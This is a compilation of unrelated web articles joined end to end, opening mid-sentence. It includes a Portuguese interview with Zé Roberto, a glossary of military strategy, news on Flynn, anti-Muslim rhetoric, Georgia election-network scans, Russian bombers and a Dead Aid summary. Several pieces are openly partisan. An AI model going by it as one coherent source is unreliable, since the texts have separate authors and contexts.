dado chance à frustração é motivo de sorriso e, nas palavras do próprio atleta, diversão. Cuca ensaia Palmeiras com Erik e Thiago Santos para enfrentar o Atlético-MG Zé Roberto se diverte ao lembrar que completou 42 anos há pouco mais de duas semanas e que ainda impressiona os profissionais que trabalham com ele. A dedicação é motivo de elogios de todos: dos jogadores mais jovens, a quem busca deixar um legado, até a diretoria. O veterano tomou as rédeas da própria carreira e fez um caminho inverso ao trilhado pela maioria dos companheiros de profissão – passou a crescer depois dos 30. – Hoje eu estou aqui no Palmeiras e não sei quando vou parar. Completei 42 anos. Acho que minha carreira me deu o direito de decidir o que eu faço. Muitos acabam com as pessoas decidindo. Um contrato decide, o rendimento, uma lesão... Comigo, através da longevidade e da forma que me cuido, estou colhendo o que plantei. Tenho o direito de decidir se jogo mais um ou dois anos, se paro no fim do ano. Isso é o mais divertido. É algo muito legal – contou, em entrevista exclusiva ao GloboEsporte.com. Zé Roberto, em treino na Academia do Palmeiras (Foto: Cesar Greco/Ag Palmeiras) Dos 42 anos de idade, 22 foram dedicados ao futebol profissional. Uma história iniciada na Vila Ramos, bairro da zona leste de São Paulo, e com um protagonista que superou muitos obstáculos. Zé venceu uma infância difícil, o racismo e encontrou no futebol um refúgio. Espelhado em Dener, ídolo da Portuguesa, onde começou sua carreira, construiu a própria trajetória até a realização do sonho maior: a seleção brasileira. Em aproximadamente 40 minutos de conversa, Zé Roberto relembrou momentos marcantes da sua história, no aspecto pessoal e também no profissional. Das cobranças da família à frustração de não ter sido convocado para a Copa do Mundo de 2002. Do aprendizado com Vanderlei Luxemburgo à admiração por Cuca. E revelou: assim como canta a torcida do Palmeiras, para ele a Taça Libertadores da América também ainda é uma obsessão... GloboEsporte.com: Zé, você chegou aos 42 anos jogando em alto nível, como titular do Palmeiras. Você projetava ir tão longe quando começou a jogar futebol? Zé Roberto: Quando criança, meu maior sonho era me tornar um atleta profissional. Desde quando isso aconteceu, passei a projetar em busca dos meus sonhos. Comecei na base da Portuguesa, o próximo sonho seria me profissionalizar. Um dia vestir a camisa da seleção brasileira, jogar fora... Fui conquistando cada passo. Quando cheguei à Europa, aprendi muita coisa a respeito da minha carreira. Na Alemanha, eu entendi que o corpo era meu instrumento de trabalho. Ali comecei a cuidar dele. Boa alimentação, vida regrada, período adequado para dormir, treinar no outro dia. Quando entendi isso, sempre consegui jogar em alto nível. Trouxe uma coisa primordial naquela fase. Falei que queria jogar até quando meu corpo permitisse. As coisas aconteceram na minha vida ao contrário do que acontece na carreira de muitos jogadores. A partir dos 31 anos, minha carreira decolou, em vez de regredir. Dá para dizer que você ganhou autonomia sobre a própria carreira, certo? A parte física passa longe de ser um problema. Hoje eu estou aqui no Palmeiras e não sei quando vou parar. Completei 42 anos. Acho que minha carreira me deu o direito de decidir o que eu faço. Muitos acabam com as pessoas decidindo. Um contrato decide, o rendimento, uma lesão... Comigo, através da longevidade e da forma que me cuido, estou colhendo o que plantei. Tenho o direito de decidir se jogo mais um ou dois anos, se paro no fim do ano. Isso é o mais divertido. É algo muito legal. Bate no peito e grita! Zé Roberto festeja o título da Copa do Brasil do ano passado (Foto: Marcos Ribolli) O fato de você não sentir o peso da idade reabre sua decisão sobre a aposentadoria? Fica martelando o tempo todo (risos). Eu me cobro muito. Por eu me conhecer, tenho certeza que, se tivesse parado no ano passado, quando conquistamos a Copa do Brasil, que foi algo que passou na minha cabeça, eu estaria me questionando todos os dias. Eu olharia no espelho e diria: “Cara, por que você parou bem? Você poderia continuar jogando!”. Tenho certeza de que fiz a escolha certa. Eu me sinto muito bem e tenho objetivos. Ainda tenho sonhos, ainda quero conquistar. Quando você tem isso vivo, o impulsiona. Quero manter minha regularidade, fazer uma grande temporada e conquistar um título no fim do ano. Tentar de novo conquistar a Taça Libertadores da América é algo que te motiva a adiar o fim da carreira? É um objetivo, com certeza. A Libertadores é um título que ainda não tenho e gostaria muito de conquistar. Claro que temos o Brasileiro e a Copa do Brasil nesse ano, mas eu queria ter a Libertadores no meu currículo. Eu sempre me projetei antes de qualquer desafio. Temos de andar de acordo com os passos dados. O próximo passo é consolidar a classificação. Depois, planejar, ver qual decisão vou tomar. Estamos no caminho certo. CARTOLA: Escalar o Palmeiras inteiro é um bom negócio Você vê algum empecilho que possa de atrapalhar na ideia de continuar jogando? Algo que pode me dificultar é o calendário. Lá fora, eu estava acostumado a ter tempo para a minha família, a não jogar tantos jogos durante o ano como aqui. Ele suga muito de você. O calendário faz com que você tenha treinamentos diários, dois jogos durante a semana... Você viaja muito, concentra muito. Isso torna o desgaste muito grande. A Libertadores é um título que ainda não tenho e gostaria muito de conquistar. Zé Roberto Sua família cobra? Às vezes, sim, ainda mais no fim de semana, que é quando meus filhos estão livres, porque não tem de ir à escola. Eles me cobram um passeio, um almoço de família. O meu filho mais velho tem 16 anos, daqui um ano e meio se forma e quer fazer uma faculdade fora. Ele quer ir para a Alemanha ou para os Estados Unidos. Eu praticamente não convivi com ele por causa da minha profissão, dessa rotina em que você fica muito tempo fora de casa. Eu só tenho de agradecer a Deus por me permitir fazer o que mais gosto, que é jogar futebol, ter feito uma carreira de longevidade. Você procura passar seu legado para os mais jovens? Essa ideia de que o corpo é o instrumento de trabalho de um jogador de futebol. A gente conversa bastante a respeito de planejamento de carreira. Hoje, no Brasil, é algo que falta um pouco. Isso leva o atleta a ficar focado somente no trabalho dele, as demais coisas ficam para pessoas específicas. Assim que aconteceu na minha carreira. Eu converso com os jovens do Palmeiras, já conversava no Santos, no Grêmio. Quem é o jogador mais incrível com quem você conviveu durante a carreira? São 22 anos de carreira profissional, e eu destacaria três. (pausa) Na verdade, quatro. Um eu vi muito pouco, não tive a oportunidade de conviver muito tempo, que foi o Dener. Ele estava na Portuguesa, eu era da base. Eu faltava da escola para ver ele treinar, quando o treino era no fim da tarde. Era um jogador no qual eu me espelhava. Infelizmente ele perdeu a vida precocemente, não vi muito tempo. O que eu vi marcou muito para mim. Eu diria também o Ronaldo Fenômeno, o Messi e o Zidane. Esses quatro foram os melhores que eu já vi. E os melhores técnicos com quem você trabalhou? Eu tive vários. Cada um com sua personalidade, sua filosofia. Eu poderia citar três também, que foram diferentes. Quando eu iniciei a minha carreira, fui treinado pelo Zagallo. No decorrer dela, tive a felicidade de trabalhar com o Vanderlei Luxemburgo, que é muito inteligente, me passou muitas coisas positivas. Aprendi muito com ele. E também um que trabalhou quatro ou cinco anos no Bayern de Munique, o Ottmar Hitzfeld. Zé Roberto treina pesado diariamente para manter a forma no Verdão (Foto: Cesar Greco/Ag Palmeiras/Divulgação) Quais foram os dias mais felizes na sua carreira como jogador de futebol? Meu dia mais feliz no futebol foi quando eu era juvenil ainda, que passei na peneira da Portuguesa. O segundo foi quando assinei meu primeiro contrato, de 18 para 19 anos. E o terceiro foi em 1995, quando fui convocado pela primeira vez para a Seleção principal. E o dia mais triste? Com certeza foi não fazer parte do grupo que disputou a Copa do Mundo de 2002. Eu estava em excelente fase. O Leverkusen disputou a Copa da Alemanha, a Bundesliga (Campeonato Alemão) e foi para a final da Champions. Eu estava na minha melhor fase da carreira. Acabei não indo. Auxiliar de Cuca lamenta falta de reforços, mas diz entender a diretoria No futebol, você teve de encarar racismo? Eu vivenciei no início da minha carreira. Quando eu me profissionalizei na Portuguesa, comprei meu primeiro carro. Meu sonho era ter um carro igual ao Dener tinha, que era um Mitsubishi Eclipse, na época um carro fora de série. Na época eu namorava com a minha esposa, a Luciana. Todos os dias após o treino eu ia à casa dela, visitá-la. Quando eu passava por algum carro da polícia, sempre me olhavam e vinham na minha direção, mandavam parar e me revistavam. Depois que me reconheciam, ficavam normal. Depois de passar por essa situação diversas vezes, acabei vendendo o carro. Foi um momento triste que eu passei e me marcou, uma coisa negativa. Meu sonho era ter um carro igual ao que o Dener tinha, que era um Mitsubishi Eclipse, na época um carro fora de série. Quando eu passava por algum carro da polícia, sempre me olhavam e vinham na minha direção, mandavam parar e me revistavam Zé Roberto A impunidade faz com que isso continue sendo um problema no Brasil? É uma questão que, por mais que a gente fale, já está enclausurada dentro das pessoas que agem dessa forma. É difícil tirar. Teria de ter punições, não adianta. Vai da consciência da pessoa, da forma de cada um pensar. É algo muito visível no Brasil e que eu nunca consegui ver na Alemanha. Um país que passou por guerras, que teve a questão dos judeus nos campos de concentração... Os alemães conseguiram virar uma página, mostrar que o país passou por isso, mas que aquilo não faz mais parte do presente. Eu morei 12 anos na Alemanha e nunca passei por nenhuma discriminação. Quando você jogou na Alemanha, a realidade do futebol já era superior à atual do Brasil? Já, sim. O futebol lá já era muito avançado. A organização do campeonato, dos clubes, do país. Eu só aprendi no tempo em que fiquei lá. Pude colocar muitas coisas positivas dentro da minha vida. Só me fez crescer. Foi um país em que fui bem acolhido, me aceitou com a minha cor de pele, a minha nacionalidade não sendo alemã, tendo os meus costumes. Você acha que é possível recuperar a identificação do povo com a seleção brasileira? Tem solução? Tem, desde que comece lá de cima. O primeiro passo que a CBF deu foi a mudança. No meu ponto de vista, não teria outra pessoa com o gabarito do Tite para implantar a forma de trabalho que ele tem e ir em busca de coisas melhores para o futebol brasileiro. Nossa esperança é que isso aconteça de forma rápida, até porque daqui a dois anos tem um Mundial na Rússia. O Brasil precisa voltar a ganhar, a ser respeitado. Pensa em trabalhar com outra função no futebol no futuro? Por eu ainda estar jogando, não tenho nada na cabeça. Quem sabe depois que parar, projetar outras coisas, eu possa fazer algo em prol do futebol. Até porque são muitos anos nesse meio. Tudo o que eu aprendi de repente pode ser benéfico. Qual a característica mais marcante do trabalho do Cuca no Palmeiras? O diferencial do Cuca é a leitura diferente de outros treinadores com quem trabalhei. Ele consegue mudar a forma do time jogar de uma maneira muito rápida. Consegue neutralizar as melhores jogadas dos times que vamos enfrentar. Além disso, consegue mudar uma peça ou outra e deixar jogando em alto nível. Ele sabe lidar com um elenco como o Palmeiras tem, com a maioria dos jogadores em condições de jogar. Não é uma tarefa muito fácil. Todos querem jogar. Ele consegue tirar o melhor de cada um, formar uma equipe competitiva e ter um jogo bonito e dinâmico. O Gabriel Jesus é um atleta que vem sendo muito badalado pelo futebol europeu aos 19 anos. O que você tem a dizer dele? Está pronto para sair do Palmeiras? Eu joguei com muitos jogadores de potencial, tanto brasileiros quanto estrangeiros. O diferencial do Gabriel Jesus e dos demais jovens que tenho visto surgir é a concentração no dia a dia, nos treinamentos. A cobrança que ele faz para melhorar a cada treino e a cada jogo. É difícil ver um jogador como ele, tão badalado, com clubes europeus querendo levar, não se empolgar. Não vejo empolgação nenhuma nele. Vejo ele somente focado, buscando melhorar aquilo que pode melhorar. Independentemente do clube que ele vá jogar, não tenho dúvida que vá fazer sucesso. LEIA MAIS: Goleiro Vagner admite ansiedade por "oportunidade da vida" O que você tem a dizer para a torcida do Palmeiras neste momento? Meu recado para o torcedor palmeirense é somente de agradecimento. O que o torcedor tem feito para nós jogadores é incrível. A minha identificação foi imediata desde que cheguei aqui. Nunca imaginei que eu teria um grito dos torcedores, o mesmo que gritavam para o Edmundo. Isso vai ficar marcado na minha carreira. O que tenho a fazer é agradecer. Que eles possam continuar nessa força, nessa corrente, nos apoiando e incentivando. Vamos dar o nosso melhor a cada jogo, em busca do nosso objetivo, que é chegar no fim do ano, poder virar para cada torcedor palmeirense, bater no peito e dizer: “O Palmeiras é gigante”. Zé Roberto: titular do Palmeiras aos 42 anos (Foto: Chris Mussi) -This article is a list of military strategies and concepts that are commonly recognized and referenced. Military strategies are methods of arranging and maneuvering large bodies of military forces during armed conflicts. Offensive strategies [ edit ] Defensive strategies [ edit ] Strategic concepts [ edit ] Center of gravity (military) – The hub of all power and movement on which everything depends, the point at which all energies should be directed Decisive point – A geographic place, specific key event, critical system, or function that allows commanders to gain a marked advantage over an enemy and greatly influence the outcome of an attack DIME(FIL) – The elements of national power diplomacy, information, military, and economics, often included are financial, intelligence, and law enforcement see MIDLIFE Expediency – War is a matter of expedients – von Moltke Fog, friction, chance – War is characterized by fog, friction, and chance Golden Bridge – To leave an opponent an opportunity to withdraw in order to not force them to act out of desperation – Sun Tzu Iron Calculus of War – Resistance = Means x Will – Clausewitz MIDLIFE – The elements of national power diplomacy, information, military, and economics, often included are financial, intelligence, and law enforcement, see DIME(FIL) Moral ascendancy – Moral force is the trump card for any military event because as events change the human elements of war remain unchanged – Du Piq OODA loop – Decision-making occurs in a recurring cycle of observe-orient-decide-act. An entity (whether an individual or an organization) that can process this cycle quickly, observing and reacting to unfolding events more rapidly than an opponent, can thereby "get inside" the opponent's decision cycle and gain the advantage – Boyd Paradoxical nature – The nature of strategy is a paradoxical and does not follow a linear pattern – Luttwak Positive ends – The possibility of taking advantage of a new security environment to create conditions for long-term peace – Wass de Czege Primary Trinity – (1) primordial violence, hatred, and enmity; (2) the play of chance and probability; and (3) war's element of subordination to rational policy – Clausewitz Secondary Trinity – People, Army, and Government – Clausewitz Principles of war: Objective (Direct every military operation towards a clearly defined, decisive, and attainable objective) Offensive (Seize, retain, and exploit the initiative) Mass (Concentrate combat power at the decisive place and time) Economy of Force (Allocate minimum essential combat power to secondary efforts) Maneuver (place the enemy in a disadvantageous position through the flexible application of combat power) Unity of Command (For every Objective, ensure Unity of effort under one responsible commander) Security (Never permit the enemy to acquire an unexpected advantage) Surprise (Strike the enemy at a time, at a place, or in a manner for which he is unprepared) Simplicity (Prepare clear, uncomplicated plans and clear, concise orders to ensure thorough understanding) – US Army FM 3.0 Systems approach – Nation-states operate like biological organisms composed of discrete systems. These systems included: leadership, organic essentials, infrastructure, population, and the military – Warden Tipping point – The point at which "the momentum for change becomes unstoppable." – Gladwell VUCA – Volatility, uncertainty, complexity and ambiguity characterize the strategic environment – U.S. Army War College Weinberger-Powell Doctrine – A list of questions have to be answered affirmatively before military action is taken by the United States: Is a vital national security interest threatened? Do we have a clear attainable objective? Have the risks and costs been fully and frankly analyzed? Have all other non-violent policy means been fully exhausted? Is there a plausible exit strategy to avoid endless entanglement? Have the consequences of our action been fully considered? Is the action supported by the American people? Do we have genuine broad international support? Economic concepts [ edit ] Salaries – Always pay your troops on time. Asymmetric costs – ensure the cost of enemy losses (or objectives) is at least an order of magnitude higher than the costs of attacking. Budget like a business – Ensure there is sufficient funds and revenue streams to finish the war. See also [ edit ] References [ edit ] Notes -The Dutch public prosecutor on Tuesday declared it legal for bikers from the No Surrender gang to continue fighting alongside Kurds in northern Iraq against the Islamic State group. “Joining a foreign armed force was previously punishable; now it’s no longer forbidden,” public prosecutor spokesman Wim de Bruin told the Agence France-Presse. “You just can’t join a fight against the Netherlands.” His comments come after reports that Dutch bikers had joined the Kurds in fighting Sunni militants that have gained a stronghold in Iraq and Syria. Dutch citizens could not, however, join the Kurdistan Workers’ Party (PKK), because it is labeled a terrorist organization by much of the international community, AFP reported. Dutch citizens fighting on the Kurdish side will still be subject to prosecution if they committed a crime abroad, Mr. De Bruin said. “But this is also happening a long way away, and so it’ll be very difficult to prove,” he added. The Netherlands has been cracking down on citizens trying to join Islamic State fighters, confiscating would-be jihadists’ passports before traveling and threatening prosecution should they return, AFP reported. Copyright © 2019 The Washington Times, LLC. Click here for reprint permission. -‘Whistleblower’ Account Claiming Flynn Sent Text About Ending Russia Sanctions Just Took A Massive Blow A whistleblower claiming to have been privy to text messages exchanged between ACU Strategic Partners official, Alex Copson, and then-incoming National Security Advisor Michael Flynn, appears to have been lying. Flynn had reportedly told Copson that sanctions against Russia would be “ripped up,” in an effort to boost relations between Washington and Moscow. According to AT&T phone records, the conversation did not take place as the whistleblower claims. POLITICO reports: In an account provided to Rep. Elijah Cummings (D-Md.) in June — but made public only last week — the whistleblower said Alex Copson, a top official at ACU Strategic Partners, bragged on Inauguration Day about his relationship with Flynn, at one point flipping around his phone to reveal the text about the deal to build nuclear plants across the Middle East. The whistleblower also said Copson said sanctions against Russia would be “ripped up” to make room for the deal. But in a letter to Cummings dated Friday, Thomas Cochran, a top ACU official, said the whistleblower’s account was inaccurate, attaching AT&T phone records that he said show Copson did not get a text from Flynn that day. […] He said that text was from a friend who attended the same function where the whistleblower claimed to witness Copson’s boasting. “The only text message Mr. Copson received on Inauguration Day came at 1:49 p.m.,” Cochran wrote. “Since Mr. Copson did not receive a text message from General Flynn during the Inauguration, other allegations of the ‘whistleblower’ are equally false and unfounded,” wrote Cochran added. The news comes amid reports that another whistleblower told Rep Ron DeSantis (R-FL) that he witnessed a senior FBI executive suggest the Bureau had a personal motive behind targeting Flynn with the purpose of ruining his career. A video of this exchange between FBI brass and agents commenting on ruining Flynn’s career may exist. As previously reported, Fox News host Sean Hannity and Circa News reporter Sara A. Carter teamed up to reveal that Trump-hating FBI agent Peter Strzok interviewed former National Security advisor Michael Flynn. Michael Flynn plead guilty to lying to FBI agents about making contact with Russian Ambassador Kislyak during the transition period. -Once relegated to late-night AM radio, anti-Muslim extremism has found a home in the Republican Party. A report (pdf) by the National Security Network outlines how anti-Muslim rhetoric has become commonplace among Republicans. “The current political climate is the culmination of a years-long and well-funded effort to bring Islamophobia and xenophobia from the far-right fringe to the political mainstream,” according to the report, which was written after last month’s Paris terror attacks but before the shootings in San Bernardino last week. The GOP’s current leader for its presidential nomination, Donald Trump, has made many comments suggesting, for example, that Muslims be registered in a national database and issued special identification noting their religion. Trump has also urged that U.S. mosques be closed. But Trump, who will say just about anything to get in front of a camera, isn’t the only prominent Republican giving voice to such sentiments. Competing presidential nominee Marco Rubio of Florida did Trump one better—he said he would close not just mosques, but cafés, diners and Internet sites. Ben Carson, the neurosurgeon who had at one point closely trailed Trump in the polls but is now slipping, has compared Syrian refugees to “rabid dogs.” These comments are a stark contrast to then-President George W. Bush’s exhortations not to blame all Muslims for the 9/11 attacks and Mitt Romney’s rebuke of anti-Muslim comments during his 2012 presidential run. Much of the hateful speech has been directed at refugees fleeing the fighting in Syria. At least 30 governors, such as Texas Republican Greg Abbott, have said they won’t allow Syrians to settle in their states—an action that experts say would likely be ruled unconstitutional—and some have threatened to monitor or kick out refugees already residing in their state. These comments—exploiting and spreading fear of terrorists sneaking into the United States in the guise of refugees fleeing Syria—come even though earning refugee status is one of the hardest ways to gain entrance to the United States. For instance, it’s much easier to come into the country on a tourist visa. Refugees must undergo a strict vetting process to ensure applicants are who they claim to be. Of course, one danger of the right-wing’s anti-Muslim rhetoric is that it becomes a self-fulfilling prophecy. “It plays dangerously into the hands of the Islamic State and other terrorist groups that thrive on the alienation of Muslim populations in the West,” according to the report. “The promotion of anti-Muslim extremist narratives already threatens the U.S. effort to resettle Syrian refugees displaced by war and terrorism, a cruel abdication of American leadership and responsibility that confuses the victims of terrorism with its perpetrators. Left unchecked and unchallenged, these narratives also threaten constitutional protections – as presidential candidates have already tied these narratives to limitations on the free exercise of speech and religion.” -Steve Straehley To Learn More: Anti-Muslim Rhetoric Has Gone From Fringe to Mainstream, Report Says (by Justin Salhani, ThinkProgress) Mainstreaming Hate: The Far-Right Fringe Origins of Islamophobic and Anti-Refugee Politics (by J. Dana Stuster and Samuel Davidoff-Gore, National Security Network) (pdf) Muslims in America Condemn Extremists and Fear Anew for Their Lives (by Laurie Goodstein, New York Times) Conservatives Decide Trump Qualifies as a Fascist (by Noel Brinkerhoff, AllGov) Syrian Refugees Already Face a 21-Step Vetting Process for Entering the U.S. (by Noel Brinkerhoff and Steve Straehley, AllGov) Would Jesus Have Turned Away Syrian Refugees? (by Noel Brinkerhoff and Steve Straehley, AllGov) Since 9/11, More Americans have been Killed by Right-wing Extremists than by Muslim Jihadists (by Noel Brinkerhoff and Danny Biederman, AllGov) -The Weight Change Required To Increase Attractivity Study finds how much fat a person needs to lose to make them look more attractive. The face can reveal whether our weight has changed, but how much is required for others to see it? Dr Nicholas Rule, co-author of a new study on the subject, explains: “Women and men of average height need to gain or lose about three and a half and four kilograms, or about eight and nine pounds, respectively, for anyone to see it in their face, but they need to lose about twice as much for anyone to find them more attractive.” Fat in the face, or ‘facial adiposity’, is a good indicator of someone’s body weight, but it’s also more than that, said Dr Rule: “It is a robust indicator of one’s health. Increased facial adiposity is associated with a compromised immune system, poor cardiovascular function, frequent respiratory infections, and mortality. So, even a small decrease can improve one’s health.” The researchers used a series of pictures digitally altered to increase or decrease the person’s weight. Participants then looked at randomly selected pairs of images and were asked to choose the heavier one. It turned out that a change in BMI of 1.33 kg/m2 is required for someone to notice. Daniel Re, the study’s co-author, explained: “We calculated the weight change thresholds in terms of BMI rather than simple kilograms or pounds, so that people of all weights and heights can apply it to themselves according to their individual stature.” The researchers then went on to look at how much change in weight was required before someone looked more attractive. For women the difference was 6.3kg or about 14 pounds. For men it was 8.2kg or around 18 pounds. Even taking into account men’s greater average weight, women needed to lose proportionally less weight to appear attractive, Dr Rule said: “The difference between the groups suggests women’s facial attractiveness may be more sensitive to changes in weight. This just means women attempting to lose weight need to shed slightly fewer pounds than men for people to find them more attractive.” Dr Re added: “When it comes to incentives for weight loss, some people are more motivated to look attractive than to improve their health.” The study was published in the journal Social Psychological and Personality Science (Re & Rule, 2015). Pretty face image from Shutterstock -by: Aaron Diamant Updated: Dec 14, 2016 - 6:01 AM Please install the latest Adobe Flash Player Plugin to watch this content. 0 Share Share this with your friends! From To Compose your message Share Georgia secretary of state says cyberattacks traced to DHS addresses http://2wsb.tv/2huk7EJ Tweet ATLANTA - The Georgia Secretary of State's Office now confirms 10 separate cyberattacks on its network were all - The Georgia Secretary of State's Office now confirms 10 separate cyberattacks on its network were all traced back to U.S. Department of Homeland Security addresses. In an exclusive interview, a visibly frustrated Secretary of State Brian Kemp confirmed the attacks of different levels on his agency's network over the last 10 months. He says they all traced back to DHS internet provider addresses. "We're being told something that they think they have it figured out, yet nobody's really showed us how this happened,” Kemp said. "We need to know." Kemp told Channel 2’s Aaron Diamant his office's cybersecurity vendor discovered the additional so-called vulnerability scans to his network's firewall after a massive mid-November cyberattack triggered an internal investigation. TRENDING STORIES: The Secretary of State's Office manages Georgia’s elections, and most concerning for Kemp about the newly discovered scans is the timing. The first one happened on Feb. 2, the day after Georgia’s voter registration deadline. The next one took place just days before the SEC primary. Another occurred in May, the day before the general primary, and then two more took place in November, the day before and the day of the presidential election. "It makes you wonder if somebody was trying to prove a point,” Kemp said. Last week, the DHS confirmed the large Nov. 15 attack traced back to a U.S. Customs and Border Protection internet gateway. But Kemp says the DHS’ story about its source keeps changing. "First it was an employee in Corpus Christi, and now it's a contractor in Georgia,” Kemp said. Unsatisfied with the response he got from DHS Secretary Jeh Johnson this week, Kemp fired off a letter Wednesday to loop in President-elect Donald Trump. "We just need to ask the new administration to take a look at this and make sure that we get the truth the people of Georgia are deserving to know that and really demanding it,” Kemp said. Kemp says several of those scans came around the same time he testified before Congress about his opposition to a federal plan to classify election systems as "critical infrastructure," like power plants and financial systems. Kemp believes Georgia’s state-run election systems are already secure and doesn't think the feds should be involved. The DHS did not return Diamant’s emails seeking comment Tuesday. Please install the latest Adobe Flash Player Plugin to watch this content. © 2016 Cox Media Group. -Ever heard of Pine Mouth Syndrome? It’s this strange condition some people get when they eat pine nuts — in the opinion of some, though, it only happens with pine nuts harvested in China (which account for most in the US market). In 2010, we made some pesto, but I was the only one who ate it. I had this awful metallic taste in my mouth for a couple of weeks. (“Metallogeusia” is the condition of having a metallic taste in your mouth). We found out later, at our food co-op, that some people have had these complaints with Chinese-grown pine nuts. They switched back to the more expensive European pine nuts, and had no complaints. If you read the linked-to article above, you’ll see that scientists have been able to find no chemical difference between pine nuts that trigger metallogeusia, and those that do not. I bring this up because that happy little Lunesta butterfly who is supposed to be in my bedroom right now putting me to sleep has instead given me metallogeusia. I hate that butterly now. And Chinese pine nuts. But I wonder if the small number of people who are subject to metallogeusia in Lunesta are also subject to same in Chinese pine nuts? (N.B., this week my wife made a chicken, spinach, and pine nut pie with Mediterranean pine nuts. I ate two pieces, and nothing happened.) -BY: Follow @BillGertz Four Russian strategic bombers triggered U.S. air defense systems while conducting practice bombing runs near Alaska this week, with two of the Tu-95 Bear H aircraft coming within 50 miles of the California coast, the North American Aerospace Defense Command (Norad) confirmed Wednesday. "The last time we saw anything similar was two years ago on the Fourth of July," Navy Capt. Jeff Davis, a Norad spokesman, told the Free Beacon. Davis said the latest Bear H incursions began Monday around 4:30 p.m. Pacific time when radar detected the four turbo-prop powered bombers approaching the U.S. air defense zone near the far western Aleutian Islands. Two U.S. Air Force F-22 jets were scrambled and intercepted the bombers over the Aleutians. After tracking the bombers as they flew eastward, two of the four Bears turned around and headed west toward the Russian Far East. The bombers are believed to be based at the Russian strategic base near Anadyr, Russia. The remaining two nuclear-capable bombers then flew southeast and around 9:30 P.M. entered the U.S. northern air defense zone off the coast of Northern California. Two U.S. F-15 jets were deployed and intercepted the bombers as they eventually flew within 50 miles of the coast before turning around and heading west. A defense official said the four bombers also were supported by two IL-78 aerial refueling tankers that were used for mid-air refueling during the operation this week. The Tu-95 is a long-range strike aircraft capable of carrying nuclear cruise missiles. Other versions are equipped with intelligence-gathering sensors and electronic warfare gear. It has a range of around 9,400 miles without refueling. Davis said the aircraft "acted professionally" and the bombers appeared to be conducting a training mission. "They typically do long range aviation training in the summer and it is not unusual for them to be more active during this time," he said. "We assess this was part of training. And they did not enter territorial airspace." The bomber incursion is the latest Russian nuclear saber-rattling amid stepped up tensions over Moscow’s military annexation of Ukraine’s Crimea. Rep. Mike Conaway (R., Texas), a member of the House Armed Services Committee, called the Russian flights "intentional provocations." "Putin is doing this specifically to try to taunt the U.S. and exercise, at least in the reported world, some sort of saber-rattling, muscle-flexing kind of nonsense," Conaway said in an interview. "Truth of the matter is we would have squashed either one of those [bombers] like baby seals." "It’s a provocation and it’s unnecessary. But it fits in with [Putin’s] macho kind of saber-rattling," he said, adding that he expects Russia will carry out more of these kinds of incidents in the future. Retired Air Force Lt. Gen. Thomas McInerney, a former Alaska commander for the North American Aerospace Defense Command, said he does not remember a case of Russian strategic bombers coming that close to the U.S. coast. "Again we see the Obama administration through their covert—but overt to Mr. Putin—unilateral disarmament, inviting adventurism by the Russians," McInerney said in an email. "At the height of the Cold War I do not remember them getting this close. Mr. Putin had to approve this mission and he is just showing his personal contempt for President Obama right after meeting him in Normandy less than a week ago," McInerney said. McInerney said no American president has been treated with such disrespect in U.S. history. "A sad day indeed and at the same time Mosul and Tikrit [Iraq] fall to radical Islamists after the Obama administration’s failed Iraq policy," he added. "He snatched defeat from the jaws of victory yet again." The Alaska-California bombers flight also came a month after a Russian Su-27 interceptor jet flew dangerously close to a U.S. RC-135 reconnaissance aircraft flying over the Sea of Okhotsk, north of Japan. In that incident on April 23, the Su-27 jet flew close to the RC-135, turned to reveal its air-to-air missiles to the crew, and then flew dangerously close to within 100 feet of the cockpit in a maneuver military officials called reckless. Davis said in the past 10 years, 50 Bear H bombers were intercepted near U.S. air defense zone, although he acknowledged that Monday’s flight near California was unusual. In April, a telephone conversation between two Russian ambassadors was posted on YouTube and appeared to show the diplomats joking about the Ukraine crisis and discussing the possible incursions in the United States and Eastern Europe. The leaked conversation between Igor Nilokaevich Chubarov and Sergey Viktorovich Bakharev, Russian ambassadors to the African nations Eritrea and Zimbabwe and Malawi, respectively, includes references to post-Crimea Russian imperialism to include Eastern Europe and "Californialand" and "Miamiland." Russian Bear H flights elsewhere have increased in recent years. In February 2013, two of the bombers were intercepted as they circled the U.S. Pacific island of Guam, in a rare long-range incursion. Two Bear Hs also were intercepted near Alaska on April 28, 2013. A Russian Bear H incursion in Asia took place in in July 2013 when two Tu-95s were intercepted by Japanese and South Korean jets near the Korean peninsula and Japan’s northern Hokkaido Island. The July 4, 2012, bomber flights near the West Coast were the first time since the Cold War that Russian jets has traveled so close to the U.S. coastline. That action followed an earlier intrusion by Tu-95s near Alaska that were part of large-scale strategic nuclear exercises by the Russians aimed at practicing strikes on enemy air defenses. Russia has stepped up provocative nuclear war games in recent years as part of propaganda efforts to display Moscow’s dislike of U.S. missile defenses in Europe. -Dambisa Moyo was born and raised in Zambia. She has a PhD in Economics from the Oxford University, a Masters from Harvard and an MBA in Finance from the American University in Washington DC. She previously worked for the Worldbank, and in debt capital markets at Goldman Sachs. (Full) Just to illustrate she is not "just anyone" when one considers the insights registered in her book "Dead Aid", subtitled "Why aid is not working and how there is another way for Africa". From her website: In the past fifty years, more than $1 trillion in development-related aid has been transferred from rich countries to Africa. Has this assistance improved the lives of Africans? No. In fact, across the continent, the recipients of this aid are not better off as a result of it, but worse—much worse. In Dead Aid, Dambisa Moyo describes the state of postwar development policy in Africa today and unflinchingly confronts one of the greatest myths of our time: that billions of dollars in aid sent from wealthy countries to developing African nations has helped to reduce poverty and increase growth. In fact, poverty levels continue to escalate and growth rates have steadily declined—and millions continue to suffer. Provocatively drawing a sharp contrast between African countries that have rejected the aid route and prospered and others that have become aid-dependent and seen poverty increase, Moyo illuminates the way in which overreliance on aid has trapped developing nations in a vicious circle of aid dependency, corruption, market distortion, and further poverty, leaving them with nothing but the “need” for more aid. Debunking the current model of international aid promoted by both Hollywood celebrities and policy makers, Moyo offers a bold new road map for financing development of the world’s poorest countries that guarantees economic growth and a significant decline in poverty—without reliance on foreign aid or aid-related assistance. Dead Aid is an unsettling yet optimistic work, a powerful challenge to the assumptions and arguments that support a profoundly misguided development policy in Africa. And it is a clarion call to a new, more hopeful vision of how to address the desperate poverty that plagues millions. Update: Feb 23: She makes it clear at the outset what kind of aid she means. She does not mean humanitarian or emergency aid, mobilised in response to calamities; she does not mean charity-based aid, given to specific organisations and people on the ground, in order to achieve specific things (she sits on the boards of several charities, one of which distributes antiretrovirals); she is hopeful about a new attitude to food aid, whereby the money is used to buy food from farmers within a country, and then distribute it to those in need, instead of flooding the place with foreign food that undercuts local growers. What she means is "systemic aid", the vast sums regularly transferred from government to government, or via institutions such as the World Bank. (Full) Pictures courtesy deadaid.org, AP, princeton.edu and Logan Abassi (MINUSTAH) There are a series of interesting articles covering her book and her opinions: The Anti-Bono (NY 